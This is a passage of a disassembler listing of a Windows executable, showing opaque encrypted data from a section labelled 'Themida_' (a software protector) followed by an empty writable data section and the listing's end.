		dd 30310000h, 0D7E4237Fh, 7A823285h, 660AF080h,	13E8D68Bh
		dd 61000000h, 0B2802725h, 56432EFDh, 6128EE1Ah,	9038D1EFh
		dd 0E4803D13h, 0BDB2591Eh, 66DA8B66h, 0FDBED78Bh, 0F91F3E4Ch
		dd 0FA68BF56h, 815E2624h, 62EA12E9h, 552EB84Eh,	11E817BBh
		dd 89000000h, 877578EBh, 7A8B4D4Dh, 350F7F6Ch, 4CD059Bh
		dd 28E0Fh, 61600000h, 14E859h, 2CEC0000h, 381060C1h, 3092F649h
		dd 0FFAEE096h, 0F279FBEEh, 665A6DA4h, 0F8BBC081h, 2890Fh
		dd 0C4B50000h, 1E25DE81h, 9FB87E23h, 8B50A124h,	0AE8DEh
		dd 8CBE0000h, 53100136h, 74ACD05Ah, 6E956h, 0F8790000h
		dd 897E0B5h, 8E0F5B5Ah,	5, 13E3BEBEh, 0C0816619h, 0C2803522h
		dd 816660B0h, 81CC3DCAh, 0C1E422DAh, 9E96175h, 75000000h
		dd 8932428Bh, 0CD950A41h, 10E9h, 0CFE5FF00h, 0DB006F01h
		dd 79BB1D4Eh, 10D0EE32h, 0D18166C8h, 830FC7A7h,	9, 3890Fh
		dd 8B660000h, 0D18B66F0h, 81D3BF0Fh, 0AD3B3FCFh, 0DE816041h
		dd 57854B38h, 0CB8061FCh, 0CB8B662Dh, 0FD6C480h, 9E8D8BFh
		dd 0AA000000h, 4DD4D7ADh, 0C7C7902Ch, 0E95F5260h, 0Fh
		dd 54606541h, 0B0842B5Ah, 80A9379Ah, 61513BA4h,	10800F5Bh
		dd 0E9000000h, 0Bh, 8A5701E7h, 8E95557Ah, 8BDB09CEh, 0D08166CAh
		dd 0EDB165A7h, 0E7DDE281h, 0CA8174C2h, 66A90C54h, 0F4ACF80h
		dd 0C8Bh, 6860F00h, 0F000000h, 8Eh, 0CBCE8100h,	0F428FCAh
		dd 385h, 0D1B70F00h, 0FFE8B60h,	6661C9BFh, 0F3F14BEh, 385h
		dd 0C28B6600h, 0D4F8BF66h, 0BBC2B70Fh
		dd 41ECC27Ch, 74E98060h, 11E9h,	92484400h, 75257F22h, 2B49C7A2h
		dd 500A5ACDh, 6061570Dh, 0DAB70FFCh, 10840F61h,	0E8000000h
		dd 9, 14A014FFh, 0F6EC19A3h, 805AFC1Fh,	0B5F530C6h, 0FCB8B83h
		dd 1987h, 0FE800h, 6F6C0000h, 0C5525A85h, 764AD0A8h, 5D145A4Fh
		dd 81BE6692h, 666059DEh, 668766B9h, 0F1F3E081h,	27B45361h
		dd 6619B35Eh, 0E94332B8h, 10h, 0E4FD8098h, 8FD7C39h, 0C3D722BAh
		dd 80DB33Eh, 0E9C38B66h, 5, 6C81D8EAh, 50D2816Ch, 661D9C80h
		dd 5D42E181h, 10E8h, 5FF8B300h,	813DD8F6h, 0FF06E11Fh
		dd 0D31B8F6h, 515AF9AEh, 78A0F5Bh, 51000000h, 70C18166h
		dd 8B665993h, 0BE8C2h, 0FFB90000h, 0F1FBA6C3h, 3D0AF920h
		dd 830F60CBh, 0
aAzFVuasS	db 'aZ¶Ûf¾‚u€áÍ`é',8,0
		align 4
		dd 0DC30D800h, 0DFE9A5E1h, 0BF61F94Fh, 9D6863Ah, 38E0Fh
		dd 8B660000h, 0C28B66CAh, 188F0Fh, 13E90000h, 0EB000000h
		dd 6FC91037h, 0AA450E38h, 1E6D034h, 1DDA2920h, 850F7DEFh
		dd 6, 870Fh, 0CB810000h, 30C16A10h, 0DE9h, 0A6017400h
		dd 4C2C0919h, 70582CB5h, 830FFBE7h, 3, 80F3B70Fh, 0D18100D4h
		dd 618E2283h, 6E957h, 0C7AC0000h, 0D29FC563h, 0F6B70F5Eh
		dd 66C1B70Fh, 671EDE81h, 8E8h, 33038800h, 0D727B2D2h, 8B66606Eh
		dd 665861FBh, 0F27F681h, 0D8FCC981h, 0FF57DD6h,	8Ch, 0B4C98100h
		dd 0E92D3108h, 11h, 8C41B332h, 0DC416323h, 0DDDD3640h
		dd 0AB5278B2h, 0E0B15182h, 12E96059h, 0FB000000h, 8D140AE6h
		dd 25F004h, 0B9053FF1h,	49135C2Ch, 8166614Fh, 0E9BB28E8h
		dd 6, 0B66E9E8Bh, 8A5683B2h, 50605AC1h,	51585951h, 11E9h
		dd 0B3363E00h, 2891C685h, 9E1E59AAh, 0B308EC0Bh, 61585417h
		dd 9E9h, 8C5E3E00h, 52F1BD56h, 0B70F1BAAh, 830FCAh, 0BA000000h
		dd 38BB744Ah, 3870Fh, 0B70F0000h, 0BE9F6h, 0FC4A0000h
		dd 25DF5F57h, 614A0D15h, 7E856F9h, 0A3000000h, 96A28AAFh
		dd 7E98262h, 3000000h, 4E67242Dh, 585E34B1h, 0EAF58060h
		dd 0BEEA8166h, 5E96175h, 16000000h, 1177682h, 0BE663DB6h
		dd 80606FC6h, 0BB664DEEh, 816110C4h, 917302C8h,	8BFE8A61h
		dd 29F680D8h, 0DE9h, 6D9F4600h,	7EF19121h, 31990C49h, 2B7D23Ch
		dd 9E860F5h, 67000000h,	0D98AD4AEh, 9DD7ECE8h, 0EE9h, 629E3700h
		dd 7FEBE63Ah, 8917CE74h, 5F9CB5BCh, 434CB961h, 0D6815096h
		dd 619D0D4Ah, 215CB953h, 0E95951F7h, 13h, 0E4EB7584h, 73BE425Fh
		dd 0E48D7414h, 1A3D5389h, 0E9A50503h, 14h, 96DC0FB0h, 78CF66F4h
		dd 0B6243649h, 0F89CCA58h, 8BB4727Eh, 8166CA8Bh, 662283E6h
		dd 0EE3BE281h, 83666ABAh, 1A800F2Bh, 60000000h,	12E8h
		dd 6D13C000h, 0A7212B4Dh, 94D76D4Dh, 0FE7CE4EAh, 5FBA0BFCh
		dd 0DE8B6661h, 208C081h, 666024EAh, 514778B9h, 7EBA6158h
		dd 0BF45C648h, 593DE5D9h, 0C6CA8160h, 660FCE1Fh, 9B71C381h
		dd 0EE816661h, 6051756Eh, 850Fh, 0CD800000h, 0F5A617Ah
		dd 5857C0BFh, 0FC70BFB9h, 6FE08155h, 0F562986h,	1686h
		dd 0DE800h, 59CD0000h, 691AA3FFh, 390FD3F4h, 0F2C5B45h
		dd 8B5ADBB7h, 6D0EBEC8h, 0F38143BDh, 0FCBE2F7h,	3880Fh
		dd 0DB800000h, 0F2B70FB9h, 8B66DD8Ah, 0F4CFB9F0h, 8B667B17h
		dd 0EEB160FBh, 61F7BF0Fh, 5E9D68Bh, 69000000h, 8718DAE2h
		dd 94FD6AB8h, 0C9BF0F56h, 0FD0E580h, 8B50CEB7h,	8C0F5AD7h
		dd 4, 0F380B866h, 0FF96060h, 6661DBBFh,	0DFFBC881h, 0E8515161h
		dd 6, 86A5BC99h, 5F5EF029h, 13E85Ah, 51570000h,	0ED48A5C6h
		dd 573E7FD5h, 81B1E5A1h, 3BDE090Bh, 8E9B3h, 0E4930000h
		dd 6C38BD47h, 0F5A7A35h, 182h, 0AE9FC00h, 90000000h, 23591956h
		dd 2F1BEDDEh, 51F78B65h, 5EF1BF0Fh, 4A8CE881h, 0DB812415h
		dd 72906A7Bh, 11E9h, 2037FB00h,	0C64F92CFh, 945D4E1Bh
		dd 17E46398h, 8166754Fh, 579CB7F7h, 0DE960h, 30EA0000h
		dd 29D1CDEh, 0D60AD89Dh, 57E2EAA2h, 0F586159h, 0BF0FD8B7h
		dd 0ABC580CFh, 0D0B9FB8Bh, 0E90F92B1h, 12h, 7BCFFFD5h
		dd 0FD2453BAh, 9A9A1520h, 85007989h, 0E9F99935h, 8, 0DF648DF4h
		dd 0F942D090h, 58E0Fh, 81660000h, 66036FF7h, 8181B0B8h
		dd 8D9032E9h, 0F25B464h, 1889h,	11E95000h, 0D5000000h
		dd 0C2182F78h, 93513ABFh, 6BF77622h, 6035B2C8h,	0BFB8665Eh
		dd 13E916h, 9C210000h, 78D7A199h, 95CEC201h, 3A4436A9h
		dd 1B086468h, 14E9B8h, 0E30A0000h, 0A3929B0Ch, 4B4D8DFFh
		dd 36CF0412h, 0C7D40112h, 0E9818F9Bh, 78985A3Ah, 0FF5F58Ah
		dd 28Fh, 60DE8A00h, 0EE8h, 0FD232600h, 3377D515h, 0A5A62526h
		dd 0BA4C5968h, 6E1418F0h, 7E95Fh, 671D0000h, 7695F91h
		dd 8F0F6103h, 1, 0A1D981FCh, 60451A4Fh,	51DFBF0Fh, 6E49F781h
		dd 615E6D67h, 68D0Fh, 0DB810000h, 639341EFh, 0C820Fh, 850F0000h
		dd 6, 830Fh, 0E6BB0000h, 0B54DD7E0h, 0C1E181A4h, 811D630Eh
		dd 0F08C0F2h, 0AE93Fh, 0F3630000h, 514B3A79h, 0F9CDB8D2h
		dd 0DF6CDE81h, 0BF0F0F15h, 5417B9C0h, 8B66642Fh, 2890FC2h
		dd 0B1000000h, 0F38B6662h, 7E9h, 0F4C5F600h, 5CB9D5AFh
		dd 551BBA66h, 11E9h, 7A366700h,	0BF7A1469h, 8E62EA22h
		dd 0FDB44C9Dh, 0CE98B30h, 0AD000000h, 2272F442h, 9378A99Fh
		dd 0F8F88B9Bh, 0BED84DBEh, 0E3816620h, 0C180F290h, 6C0DB8F5h
		dd 0C9812873h, 62CF393Ah, 0CE9h, 81264700h, 0A862F4B2h
		dd 0A47F9B57h, 66C38A58h, 7F1FC981h, 38F0Fh, 0BF0F0000h
		dd 11E9C7h, 7F7F0000h, 0FC9F0B8h, 17BF15DFh, 0AD17C280h
		dd 0F72F442h, 1589h, 10E900h, 73E50000h, 33965505h, 930DD417h
		dd 650B1DDEh, 8B66B652h, 0DEB70FD0h, 9E9h, 0E1010900h
		dd 0B43F5A50h, 816616A6h, 81722FE0h, 369FACE2h,	0B9666000h
		dd 6661BBA4h, 8BCF181h,	4800Fh,	0BF660000h, 880F73E5h
		dd 2, 8166BDB6h, 608C1DD0h, 9E8h, 0F816A600h, 0EAE15B28h
		dd 6E93A2Fh, 0C8000000h, 1BEF4B28h, 880F5B21h, 3, 61CFEA80h
		dd 15860Fh, 0E9600000h,	0Bh, 0C455E309h, 32C59C4Dh, 808161C2h
		dd 0F6172D2h, 18B4D2BFh, 870F6DB2h, 2, 0D38BCB8Ah, 40DEBA66h
		dd 0DE9D88Bh, 57000000h, 58A47F9Bh, 0C247B3B8h,	41841A64h
		dd 0AE9h, 0D195A600h, 1E61A9A6h, 66545ED6h, 0A8BFCA81h
		dd 8BD98B66h, 0E38A50D9h, 60AAB359h, 617DE680h,	0CF816060h
		dd 793DA842h, 0CE8h, 0EBDC3200h, 3F25694Dh, 0CD76D8A9h
		dd 616159F7h, 56F98B66h, 8E0Fh,	0F5A0000h, 882h, 2830F00h
		dd 0B0000000h, 0BBA6B888h, 830F3AB9h, 0
		dd 0C2BF0F60h, 8E860h, 97680000h, 96D32DC0h, 60597751h
		dd 66616161h, 0C781CA8Bh, 6B3FCA85h, 11E9h, 888B8B00h
		dd 0BE41B53Bh, 0CDC6D70h, 66EC6922h, 60608A77h,	0FE8h
		dd 0E83DA900h, 91AF7010h, 7DF2A8D7h, 8B1EBCDCh,	90C6815Fh
		dd 611D8E34h, 0DAC98166h, 8056615Ch, 8A5BFEE0h,	0D98166C6h
		dd 0EE8957Eh, 0C000000h, 20B383C9h, 0ADD1EA2Bh,	45D7A44Ch
		dd 10E929h, 0ABB00000h,	82C006A8h, 14FCC170h, 0E044842Fh
		dd 0F59E60Ch, 48Eh, 0BFB96600h,	0F78B665Ch, 809AF480h
		dd 816664C6h, 0B4116BC2h, 5E9EFh, 0FBFB0000h, 66EC8334h
		dd 60FB1BBBh, 0B9F28B66h, 64D5F1B2h, 6AD6AF61h,	82h dup(6AD6ACB6h)
		dd 30FFACB6h, 496h dup(30FD709Ch), 0F6BC199Ch, 2Ch dup(0F6BC185Eh)
		dd 45EFC25Eh, 1B9h dup(45EFC2B5h), 36Dh	dup(97191249h)
		dd 2191249h, 157h dup(21B4914h), 0CC1B4914h, 839h dup(0CCCCCCCCh)
		dd 0CCh, 1D2h dup(0)
Themida_	ends

; Section 5. (virtual address 001BA000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001BA000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5BA000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start